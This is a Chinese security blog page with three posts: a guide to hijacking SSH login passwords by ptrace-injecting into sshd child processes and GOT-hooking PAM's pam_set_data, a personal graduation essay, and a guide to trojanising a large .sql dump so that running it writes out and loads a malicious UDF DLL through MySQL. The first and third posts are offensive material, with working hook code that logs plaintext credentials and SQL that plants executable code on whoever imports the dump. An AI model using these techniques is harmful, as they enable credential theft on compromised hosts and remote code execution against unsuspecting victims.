分析并HOOK SSHD来劫持密码

前言

项目地址:sshdHooker,开箱即用,但是只支持x64。

当我们通过洞,拿到一台linux机器的最高权限的时候,我们基本都想扩大战果。然而和windows不同,linux的加密方式除了某些特别远古版本的系统,大部分系统加密强度都是很高的,而且又没有类似lsass这样的东西甚至会把明文密码记录内存,也没有NTLM这种好用的通用token,所以基本都是使用一些特殊的方式记录密码。例如PAM,就比如我这个文章:一般路过PAM后门 / SSH密码记录

改PAM有个很大的过程,那就是需要编译和替换文件,这个过程中,会遇到一个很大的问题,那就是编译版本和经常性的爆炸。那么问题来了,我们都拿到root了,就没有一种,简单粗暴的方法嘛?

在上面文章中,我们可以看到,使用strace监控所有文件调用,我们可以成功的在栈指行过程中记录到我们收到的密码明文。使用strace的优点是比如重编译PAM和替换文件,直接进行一个读取对于我们来说爆炸的几率实在是太低了。唯一的缺点就是直接用strace,生成的数据量实在是太多了,而且我们也没办法找到登陆的密码是否是我们想要的密码。

那么有没有什么办法,用类似strace的形式,读取内存并且过滤出我们想要的东西呢?这就是我们今天讨论的内容。

流程分析

先总结一下我们有什么,strace,是使用ptrace直接记录系统调用的,基本就是ptrace监听attach。所以我们的目标也很明确,就是使用ptrace整一个花活。

最开始的设想,是整一个监控栈指行的地方,直接定位到相关地址,然后检查栈的内容(传入的参数),转念一想,这不就是HOOK一个地址,然后把参数跳转到我们的函数,然后去检查传入内容,最后再把原始数据丢回原函数(地址)

正好,我们手头里之前研究过了一个东西,那就是linux下的进程注入器:Linux下进程隐藏 二 -- 进程注入(So注入)

可以注入到内存之后,就要来一个经典问题:HOOK哪里?怎么HOOK?

HOOK哪里-PAM调用机制

一般路过PAM后门 / SSH密码记录 文章可以看到,我们的unix_pam.so是用来进行密码验证的模块

// linux-pam/modules/pam_unix/pam_unix_auth.c
int
pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv)
{
    unsigned long long ctrl;
    int retval, *ret_data = NULL;
    const char *name;
    const char *p;

    D(("called."));

    /* .....省略... */

    /* verify the password of this user */
    retval = _unix_verify_password(pamh, name, p, ctrl);
    name = p = NULL;

    AUTH_RETURN;
}

然而通过观察目录下其他文件,我们可以发现,其他模块也有 pam_sm_authenticate这个函数。该项目属于libpam,是sshd一个下属的模块之一,用于控制PAM模块。

我们观察了一下该目录下的其他模块,也都有 pam_sm_authenticate 之类的函数,那么我们大胆猜测一下,会不会是sshd的操作流程是

  • sshd启动
  • 加载libpam
  • libpam搜索目录下所有文件
  • libpam 动态加载pam_sm_authenticate
  • pam模块导入成功

猜想没有用,还是得看源码是怎么写的。于是乎,直接在项目进行搜索。我们成功在pam_handle下发现了相关代码

int _pam_add_handler(pam_handle_t *pamh
             , int handler_type, int other, int stack_level, int type
             , int *actions, const char *mod_path
             , int argc, char **argv, int argvlen)
{
    struct loaded_module *mod = NULL;
    struct handler **handler_p;
    struct handler **handler_p2;
    struct handlers *the_handlers;
    const char *sym, *sym2;
    char *mod_full_path;
    servicefn func, func2;
    int mod_type = PAM_MT_FAULTY_MOD;

    D(("called."));
    IF_NO_PAMH("_pam_add_handler",pamh,PAM_SYSTEM_ERR);

    D(("_pam_add_handler: adding type %d, handler_type %d, module `%s'",
    type, handler_type, mod_path));

    if ((handler_type == PAM_HT_MODULE || handler_type == PAM_HT_SILENT_MODULE) &&
    mod_path != NULL) {
    if (mod_path[0] == '/') {
        mod = _pam_load_module(pamh, mod_path, handler_type);
    } else if (asprintf(&mod_full_path, "%s%s",
                 DEFAULT_MODULE_PATH, mod_path) >= 0) {
        mod = _pam_load_module(pamh, mod_full_path, handler_type);
        _pam_drop(mod_full_path);
    } else {
        pam_syslog(pamh, LOG_CRIT, "cannot malloc full mod path");
        return PAM_ABORT;
    }

    if (mod == NULL) {
        /* if we get here with NULL it means allocation error */
        return PAM_ABORT;
    }

    mod_type = mod->type;
    }

    if (mod_path == NULL)
    mod_path = UNKNOWN_MODULE;

    /*
     * At this point 'mod' points to the stored/loaded module.
     */

    /* Now define the handler(s) based on mod->dlhandle and type */

    /* decide which list of handlers to use */
    the_handlers = (other) ? &pamh->handlers.other : &pamh->handlers.conf;

    handler_p = handler_p2 = NULL;
    func = func2 = NULL;
    sym2 = NULL;

    /* point handler_p's at the root addresses of the function stacks */
    switch (type) {
    case PAM_T_AUTH:
    handler_p = &the_handlers->authenticate;
    sym = "pam_sm_authenticate";
    handler_p2 = &the_handlers->setcred;
    sym2 = "pam_sm_setcred";
    break;
    case PAM_T_SESS:
    handler_p = &the_handlers->open_session;
    sym = "pam_sm_open_session";
    handler_p2 = &the_handlers->close_session;
    sym2 = "pam_sm_close_session";
    break;
    case PAM_T_ACCT:
    handler_p = &the_handlers->acct_mgmt;
    sym = "pam_sm_acct_mgmt";
    break;
    case PAM_T_PASS:
    handler_p = &the_handlers->chauthtok;
    sym = "pam_sm_chauthtok";
    break;
    default:
    /* Illegal module type */
    D(("_pam_add_handler: illegal module type %d", type));
    return PAM_ABORT;
    }

    /* are the modules reliable? */
    if (mod_type != PAM_MT_DYNAMIC_MOD &&
     mod_type != PAM_MT_FAULTY_MOD) {
    D(("_pam_add_handlers: illegal module library type; %d", mod_type));
    pam_syslog(pamh, LOG_ERR,
            "internal error: module library type not known: %s;%d",
            sym, mod_type);
    return PAM_ABORT;
    }

    /* now identify this module's functions - for non-faulty modules */

    if ((mod_type == PAM_MT_DYNAMIC_MOD) &&
        !(func = _pam_dlsym(mod->dl_handle, sym)) ) {
    pam_syslog(pamh, LOG_ERR, "unable to resolve symbol: %s", sym);
    }
    if (sym2) {
    if ((mod_type == PAM_MT_DYNAMIC_MOD) &&
        !(func2 = _pam_dlsym(mod->dl_handle, sym2)) ) {
        pam_syslog(pamh, LOG_ERR, "unable to resolve symbol: %s", sym2);
    }
    }
/* ..... 后面省略*/

我们直接看到_pam_dlsym_pam_dlopen,基本可以证明我们的猜想。

就是libpam是通过dlopen和dlsym动态加载的。我们只要hook了dlopen和dlsym,判断是否是pam_unix.so的不就行了?

(然而以上只是理论可行,实际上注入的时候不知道为什么老是HOOK不到dlopen的GOT表,出了一点问题,不知道为什么,百思不得姐,最后还是使用了其他方式,但是原理还是一样的,这个后面再说)

怎么HOOK?-GOT HOOK

最最最简单的办法是,inline hook,直接找到API地址,然后修改他们开头的字节,直接jmp到我们的函数地址,然后等我们函数执行完的时候再还原。

然而有个问题是,这是windows api的修改方法,我们这个是linux,修改的是外部so加载的地址。所以我们得转变个思路:我们是如何调用一个所加载so的导出函数地址的?这就涉及到了另一个东西,GOT表。大概意思就是这个表中加载的所有so的导出地址,有函数名->对应映射基地址等,只需要把这个表所对应的导出地址修改成我们函数的地址即可。

好,二话不说,github找段代码: inject_got,把这玩意编译成so文件拿去注入就OK了

现在我们有能力直接HOOK我们想要的函数了。

验证猜想

既然要素齐全,比起先上手写代码,我们可以先试试,最快速的验证方式是直接GDB打个断点,然后使用SSH连接,看看我们能否hook到dlopen就知道了。然后我们就照做了。

1.png

可以看到,我们用gdb直接载入sshd之后,用b给dlopen下了一个断点。结果并没有什么卯月,还给我们了弹了两个process 1401834 is executing new program: /usr/sbin/sshd 新子进程创建的提示。大胆猜测,会不会是这两个子进程是分开用来处理ssh登录请求的呢?我们真实要注入的地址其实是这些子进程?

我们通过ssh脸上自己之后,使用pstree来查看子进程。

2.png

可以看到sshd之后又跟了两个子进程,我们挨个挂载。直接b 跟进子进程

3.png

可以发现,并没有什么卯月,然而实际上,可能只是我们注入的时间晚了的缘故,在我们注入之前,这些函数都调用完了。还是继续回到strace来看看这些到底是如何做到的。

首先我们先看子进程是如何创建的。我们用strace记录了sshd进程再ssh接收到登录并且密码输入正确的时候(我截图的这个stree日志是之前记录的,那时候sshd的pid是9731)
4.png

在第一个子进程出现的时候,sshd调用了clone调用

9731  clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD <unfinished ...>
10242 set_robust_list(0x7f5ee78fbbe0, 24 <unfinished ...>
9731  <... clone resumed>, child_tidptr=0x7f5ee78fbbd0) = 10242

创建了子进程10242之后,clone返回了子进程的pid。

之后再有子进程调用clone,创建了子子进程10249

10242 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fc005b0dbd0) = 10249

符合之前pstree看到的结果。

然后再看我们的pam模块是怎么加载的,直接搜索.so相关的
5.png

可以看到,进行so相关操作的是由第二个子进程操作处理的,所以我们重点目光看向那就行。

监控子进程

既然每个ssh连接是由不同的子进程处理的,那么我们只注入sshd进程肯定是不行的了。因为子进程才是关键,根据strace结果,我们知道系统是调用了clone,并且还能拿到结果,那么就简单了,直接使用pstrace,拦截syscall调用就行,根据syscall调用表,我们知道clone的调用号是56。

大概伪代码如下

    while(1){
        ptrace( PTRACE_SYSCALL, target_pid, NULL, 0  );
        waitpid( target_pid, NULL, WUNTRACED );
        pthread_t id;
        num = ptrace(PTRACE_PEEKUSER, target_pid, ORIG_RAX * 8, NULL);// 获得调用号值
        if(num == 56){ // 是调用了clone
            printf("system call num = %ld\n", num);
            ptrace_getregs( target_pid, &regs ); // 获得调用结果
            printf("Process maybe = %ld \n", regs.rax); 
            subprocess = regs.rax;
            // do_something(subprocess);
        }
    }

控制注入顺序

然而,知晓了clone创建的时间,还是不能直接HOOK进去修改dlopen。因为这时候注入进去,会发生一个问题,我们以上的那些模块操作都是在libpam中进行的,而我们这个进程并不是直接在子进程中的,所以如果我们直接使用上述的inject_got注入进去,会没办法修改到libpam中的dlopen。

直接看代码,原始代码inject_got中的代码应该是这样

/* .... */
char buf[MAX_BUF_SIZE] = {0}; 
int err = get_exe_name(buf, sizeof(buf));
void* base_addr = get_module_base(getpid(),buf); // 注意这个buf,这个buf是读取自身进程
/* .... */

其中get_module_base的作用是从/prof/pid/maps里读取模块的基地址,然后再载入内存ELF进行GOT表查找的,这里原始函数查找的是主模块(自身进程)的基地址,即便修改了主模块的GOT,libpam里的是不会照着主模块的GOT进行执行的,必须修改到libpam的GOT表。

6.png

但是根据上述所说,直接clone的时候就注入,libpam还没有载入到内存中,maps里就找不到基地址,修改GOT就更无从谈起,因此我们需要一个函数来判断libpam的加载,最简单的办法就是HOOK openat调用号进行判断。我们在我们原始的注入程序中加入以下判断

int WaitforLibPAM(pid_t target_pid){
    struct user_regs_struct regs;
    if ( ptrace_attach( target_pid ) == -1 ){

        printf("WaitforLibPAM attach Failed\n" );
        return -1;
    }
    if ( ptrace_getregs( target_pid, &regs ) == -1 ){
        printf("-- Getregs Error\n" );
        return -1;
    }
    //ptrace_continue( target_pid );
    long num,bit=0,finded = 0;
    char *path = malloc(255);
    char libsystemd[] = "common-session";
    while(1){
        ptrace( PTRACE_SYSCALL, target_pid, NULL, 0  );
        waitpid( target_pid, NULL, WUNTRACED );
        num = ptrace(PTRACE_PEEKUSER, target_pid, ORIG_RAX * 8, NULL);
            //printf("++ SubProcess: system call num = %ld\n", num);
        if(num ==257){
            ptrace_getregs( target_pid, &regs ) ;
            printf("++ SubProcess: rsi :%p\n",regs.rsi);
            //ptrace_writedata(target_pid,regs.rip,local_code_ptr,code_length );
            //ptrace_continue( target_pid );
            ptrace_readdata(target_pid,(void *)regs.rsi,path,255);
            printf("++ SubProcess:openat path :%s\n",path);
            if(strstr(path,libsystemd)){
                ptrace_detach(target_pid);
                // do_inject_so(target_pid);
                break;
            }
        }
    }
}

通过strace判断,打开common-session文件在打开libpam.so文件之后,因此只要判断openat打开了common-session就能知道libpam已经被加载了。

然后把inject_got中的代码修改一下

void* base_addr = get_module_base(getpid(), "/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1");

这样后续的修改GOT就会是修改libpam的GOT了

过程控制-读取密码

回到上面的pam_unix_auth.c,我们知道了所有的函数都会调用pam_sm_authenticate,那么我们如何知道其中的密码,和如何判断密码正确?我们先看密码如何获取

直接看到pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv)的第一个参数pamh,它是一个pam_handle_t结构如下,

struct pam_handle {
    char *authtok;
    unsigned caller_is;
    struct pam_conv *pam_conversation;
    char *oldauthtok;
    char *prompt;                /* for use by pam_get_user() */
    char *service_name;
    char *user;
    char *rhost;
    char *ruser;
    char *tty;
    char *xdisplay;
    char *authtok_type;          /* PAM_AUTHTOK_TYPE */
    struct pam_data *data;
    struct pam_environ *env;      /* structure to maintain environment list */
    struct _pam_fail_delay fail_delay;   /* helper function for easy delays */
    struct pam_xauth_data xauth;        /* auth info for X display */
    struct service handlers;
    struct _pam_former_state former;  /* library state - support for
                     event driven applications */
    const char *mod_name;    /* Name of the module currently executed */
    int mod_argc;               /* Number of module arguments */
    char **mod_argv;            /* module arguments */
    int choice;            /* Which function we call from the module */

#ifdef HAVE_LIBAUDIT
    int audit_state;             /* keep track of reported audit messages */
#endif
    int authtok_verified;
    char *confdir;
};

很多看不懂的结构体甚至还有一个ifdef是不是?肯定有人会问了,"这ifdef,说明这玩意的结构长度不定长,它函数传的又是指针,我们怎么知道它具体偏移是多少如果传错了咋办呀?"

其实,我们真正需要的只有authtokuser,这两个成员地址,这两个偏移量是始终固定的,后续的成员要不要都无所谓,所以在我们的inject_got中只需要定义成如下

struct pam_handle {
    char *authtok;
    unsigned caller_is;
    struct pam_conv *pam_conversation;
    char *oldauthtok;
    char *prompt;                /* for use by pam_get_user() */
    char *service_name;
    char *user;
    char *rhost;
    char *ruser;
    char *tty;
    char *xdisplay;
    char *authtok_type;          /* PAM_AUTHTOK_TYPE */
};

即可,反正传给我们的是指针,我们根据偏移读取到了账号和密码再把指针原封不动的传给原函数就行。

能获取到密码之后,我们就需要判断是如何验证密码了,继续看到unic_pam_auth.c,直接看到函数最后两行

retval = _unix_verify_password(pamh, name, p, ctrl);
    name = p = NULL;
    AUTH_RETURN;

通过理解代码,_unix_verify_password就是用来验证账号密码的,如果账号密码正确,retval返回值就是PAM_SUCCESS(定义为0),那么后续呢?我们直接看AUTH_RETURN

#define AUTH_RETURN                        \
do {                                    \
    D(("recording return code for next time [%d]",        \
                retval));            \
    *ret_data = retval;                    \
    pam_set_data(pamh, "unix_setcred_return",        \
             (void *) ret_data, setcred_free);    \
    D(("done. [%s]", pam_strerror(pamh, retval)));        \
    return retval;                        \
} while (0)

可以看到retval就直接被返回回去了。所有条件达成。
我们只需要做一个HOOK函数

int my_pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv)
{

    int ret = old_pam_sm_authenticate(pamh,module_data_name,data,cleanup);
    if(ret==0){
        printf("login successful username is : %s    password is: %s\n",pamh->user,pamh->authtok);
        // do something
    }
    return ret;
}

组合-理想

通过组合所有条件,我们手里有一个注入器,一个so(inject_got),我们的流程基本就是。

  • 注入器注入SSHD
  • 注入器HOOK系统调用clone,判断子进程出现
  • 注入器注入子进程
  • 注入器HOOK子进程OPENAT,判断libpam是否装载完毕
  • libpam装载完毕,注入so文件(inject_got)
  • inject_got查找libpam中dlopen和dlsym的got并修改为my_dlopen和my_dlsym
  • 等待执行dlopen时,跳转到my_dlopen
  • my_dlopen 记录下pam_unix.so 的 handle 地址,之后正常指行dlopen
  • 等待指行dlsym时候,跳转到my_dlsym
  • my_dlsym判断加载的请求是否是pam_sm_authenticate
  • my_dlsym判断加载的handle是否是pam_unix.so
  • my_dlsym所有条件符合,把函数地址修改成my_pam_sm_authenticate
  • 等待原本pam_unix.so中的pam_sm_authenticate将被执行时,跳转到my_pam_sm_authenticate
  • my_pam_sm_authenticate记录下用户密码,跳转到原始pam_sm_authenticate
  • 判断原始pam_sm_authenticate是否为PAM_SUCCESS=0,是则代表密码正确,记录
  • 密码记录完成

组合-现实

这是理想情况,然而可恶的是,tmd不知道为什么inject_so老是无法修改dlopen的,倒是能找到dlsym的GOT表并修改,就很蛋疼,光有dlsym的函数地址也不是不行,但是问题就在于,调用pam_sm_authenticate的不止一个so,我不知道哪个handle是属于pam_unix.so的pam_sm_authenticate,不同的so文件中pam_sm_authenticate的返回值代表的也不一样。

本来想着能不能通过dlsym的handle,逆回去看看handle所对应的路径,然而看了下相关源码(linux就是这点好,可以遇事不决看源码),并没有相关操作。于是乎寄,我们只能找到另外HOOK点。

我们再次回到_unix_verify_password结束后流程中来,为什么直接看到这之后?因为这之前的代码是无法判断密码是否正确,所以哪怕HOOK了也没用。_unix_verify_password后的操作只有一个,那就是AUTH_RETURN

#define AUTH_RETURN                        \
do {                                    \
    D(("recording return code for next time [%d]",        \
                retval));            \
    *ret_data = retval;                    \
    pam_set_data(pamh, "unix_setcred_return",        \
             (void *) ret_data, setcred_free);    \
    D(("done. [%s]", pam_strerror(pamh, retval)));        \
    return retval;                        \
} while (0)

我们把木管看向pam_set_data,又有独一无二的字符串(指unix_setcred_return)让我们确认是属于位于这里的pam_set_data,又有先前_unix_verify_password运行后的结果的值(指*ret_data = retval;

于是乎,我们很容易的就可以把目光转移到这个函数上来,这个函数在pam_unix.so中,所以我们要把之前的基地址从libpam改为pam_unix.so

void* base_addr = get_module_base(getpid(), "/usr/lib/x86_64-linux-gnu/security/pam_unix.so");

然后,我们在做一个hook函数

int my_pam_set_data(struct pam_handle *pamh, const char *module_data_name, void *data,void* cleanup)
{

        char unix_setcred_return[] = "unix_setcred_return";
        if(strstr(unix_setcred_return,module_data_name)){
        FILE *fp = NULL;
        fp = fopen("/tmp/set_data.txt", "a+");
        void * test = malloc(sizeof(int));
        fprintf(fp,"pam module_data_name: %s %d\n",module_data_name,*(int *)data);
        int ret = *(int*)data;
        if(ret == 0){
                fprintf(fp,"login successful username is : %s    password is: %s\n",pamh->user,pamh->authtok);
        }
        fclose(fp);
        } 
        //if(strstr(module_data_name,unix_setcred_return)){
        //while(1){} }
    return old_pam_set_data(pamh,module_data_name,data,cleanup);
}

这样就大功告成辣!

Tags: hook, linux, 劫持, sshd, 二进制

毕业了

前言

今天毕业典礼,然而却没有我。。。。好吧其实只是我单纯的懒得回学校而已。毕业证和学位证都拿到了,还没到我的手上,等同学帮我寄回来。之前还有点担心自己能不能毕业,毕竟院里一声不吭,虽然说每科都过了,但是就怕漏了那一两门是不是?好在最后虽然破比学院一声不吭,但是它证还是会发的。今天顺利拿到了两证心里也是一块大石头落地了。

四年时光是短暂的,好吧其实我现在还以为自己停留在2020年,从2020年之后,每年的世界感觉过得飞快。特别是大二,完全没有渡过的记忆,因为都是在家,来的时候就大三了。

不过也正是大二那年,让我计算机实战水平有了突飞猛进的进步,虽然说感觉现在还是非常的菜,但是感觉和18年刚进大学的时候比起来又好那么一点点?

不过想来,我这个高中文凭都没有的人,竟然能混出个大学文凭,也是挺有意思的。上大学之前我妈都明确告诉我,一定得混一个出来。不然我就是个初中文凭了。那时候我还不理解是什么意思,结果就这么被我快快乐乐的玩了四年玩了过来。

说起玩的这四年,感觉和群友相比确实一个天一个地,别人都是卷卷卷,而我就是玩玩玩,除开大一,基本就是琴房宿舍教学楼,其中宿舍待得最多,基本都是在玩电脑。看群里每天都在哀嚎卷卷卷,或者就是现充每天吃喝玩乐四处逛逛,感觉属实是两个世界。不过也挺好的,至少我过的挺快乐不是?

不过其中感觉疫情+网课占了很大比例,对于别人来说网课确实是影响效率的东西,但是对于我这种纯摸鱼王来说网课简直就是摸鱼神器,特别是学习通,啊,梦中签到,梦中上课,梦中考试,梦中挂科了属于是(指我因为一整个学期都用自动签到没听过一节课导致不知道考试日期错过考试这回事)。让我这个纯纯懒狗懒上+懒,基本就是一天18小时高强度上网了。

对于学校来说,其实并没有什么好留恋的,当初上这个专业基本也就是图的个大学文凭。虽然有过一段时间的迷茫期,犹豫要不要真的靠大学学的这个专业吃饭。不过最后还是败给了兴趣。所以对于学校来说,并没有什么留恋。

当然也许只是现在并没有啥留恋?毕竟人是个缅怀过去的生物,但是你让我现在一个心野一心想出去闯荡一番的孩子问想不想要回家我也不能假惺惺的回答想回家是吧?

大学之后去干什么?我的想法无非就是换一个地方继续玩电脑,毕竟小学就开始玩电脑,初中也在玩,高中一直都在玩,甚至到了大学,基本都在玩这台电脑。从脚本小子到程序员再到立志当一名带嘿阔,盗取无数QQ号,写出一个属于自己的熊猫烧香,就是当初的梦想。

虽然早就到完成了当初学习这门技术时候的梦想,甚至比当初的梦想还要遥不可及。但是走到这一步,也愈发发现自己的菜和水平低下目光短浅。

大学四年给我带来最有价值的是什么?确实四年间我拥有了比之前都富裕的时间研究电脑,让我电脑水平确确实实的突飞猛进。但是最有价值的估计是给了我一份让我某天玩不动电脑了,能安心继续活下去养老用的备用技能吧。毕竟咱也是确确实实到过学校当过老师的人了,没准哪天,你们就能看到鳖老师在音乐课上放着音乐开着黑框框说对着台下一群不明所以的学生表演着他那三脚猫功夫。也不知道有没有哪个懵懂的少年少女那时候会被这无聊过时的技术吸引走上一条同样的带黑阔之路(笑)。

Tags: 随笔, 毕业

mysql-.sql文件钓鱼上线

前言

之前聊天的时候nux提了一嘴,能不能在裤子里插🐎,几百MB发给别人,一般警惕性差的就直接运行了,哪怕警惕性好一点的,几百M或者几百G的裤子想要检查也检查不了。这个想法我一直记得,于是乎今天就来研究研究。

为什么选用.sql呢?主要是目标受众好,并且对这个玩意警惕性不高,大家洗数据的时候就直接丢进mysql里运行了,一般也不会想太多,并且和压缩包钓鱼不同,只要你把文件放出去,就会有一堆人如同苍蝇一般直接受到吸引,蜂拥而来。

具体想法基本就是UDF,直接写出DLL然后运行。能RCE的基本就是这样了。

然而实际上利用条件有点苛刻,并不能百分百上线,有以下几个问题

  • mysql用户权限问题
  • mysql插件路径问题
  • 写出时候的动态路径问题
  • mysql插件路径权限问题

前面三个都好解决,最后一个是真的无解,所以遇到那些带secure开关的mysql基本就没办法上线,linux默认安装一般都带这个,但是好在,windows下这个问题并不太多,同时那些钓鱼目标群体洗数据一般也用的是windows洗,所以问题不太大。

对于用户权限问题,我们只需要在制作我们的钓鱼sql的时候,多设计到几个库的操作,大部分人就会知难而退,图省事,直接用root权限跑了(没错就是我)。至于如何获取mysql插件也很简单,直接用select @@basedir as basePath from dual拼接一下就行。

最复杂的其实是动态路径问题,我之前一直以为outfile不能用变量,结果今天查了一下,有prepareexecute这种好东西。可以动态指行sql语句,那么这些要素不都齐全了?直接进行一个代码的缝合

代码

直接上代码

SET @BasePath = (select @@basedir as basePath from dual) ; 
SET @fullOutputPath = CONCAT(@BasePath,'lib\\plugin\\','udf.dll');
SET @Ok_Path = REPLACE(@fullOutputPath,'\\','\\\\');
set @q1 = concat("SELECT 'this_is_evil_dll' INTO OUTFILE/* or dumpfile*/ '",@Ok_Path,"';");
select @Ok_Path;
prepare s1 from @q1;
execute s1;deallocate prepare s1;
create function eval_function returns string soname 'udf.dll';
select eval_function ();

写出dll后用udf的方式上线就行

一些解决办法

有时候不同版本的mysql的插件路径不同,并且64位windows/linux,32位windows/linux,所需要的路径/二进制文件也不同,这些改如何处理呢?

我的看法就是直接进行一个暴力试错,反正几百M的sql,多写几行别人也看不出来,不知道哪个版本的mysql?那就把每个版本的路径都写上去,不知道哪个版本的系统?那就把每个版本的二进制hex都写进去,总有一个会成功的.jpg

进阶

其实,如果不考虑上线,只考虑探针的话,我们select一些内容就行了,但是如果直接select不知道路径的情况下,我们能获取到的内容又不多,比如在linux下就只能读取到passwd,hosts这类东西。

但是对于这份.sql使用者的群体敏感性,我们基本能确认这些使用者用的不是红/蓝队,就是黑/灰产,对于他们这些用户来说,我们熟悉的cs/Navicat/qq/微信这些敏感文件都储存与C:\users\用户名\xxxxx下, 再此当中,只有用户名是不固定的?

有没有一种可能,只要我们获取到了用户名,其他这些数据也就随便我们读取了呢?

甚至读取这些数据所需要的权限更低,甚至写出文件不会触发杀软?

~ 所以接下来的目标,就是研究sql脚本如何自动获取路径,达成自动化探针的效果。 ~

通过这个文章看了一下:MySQL蜜罐获取攻击者微信ID

好的,要素又齐全了。

可以通过C:\Windows\PFRO.log大概率获取到电脑使用者的用户名。

那么直接通过load_file读取文件,然后使用mysql自带的left()、right()、substring()、substring_index()这类函数,不就能成了?

未完待续(哪天心情好了补代码)

Tags: mysql, 钓鱼, udf
文章总数:200篇 分类总数:4个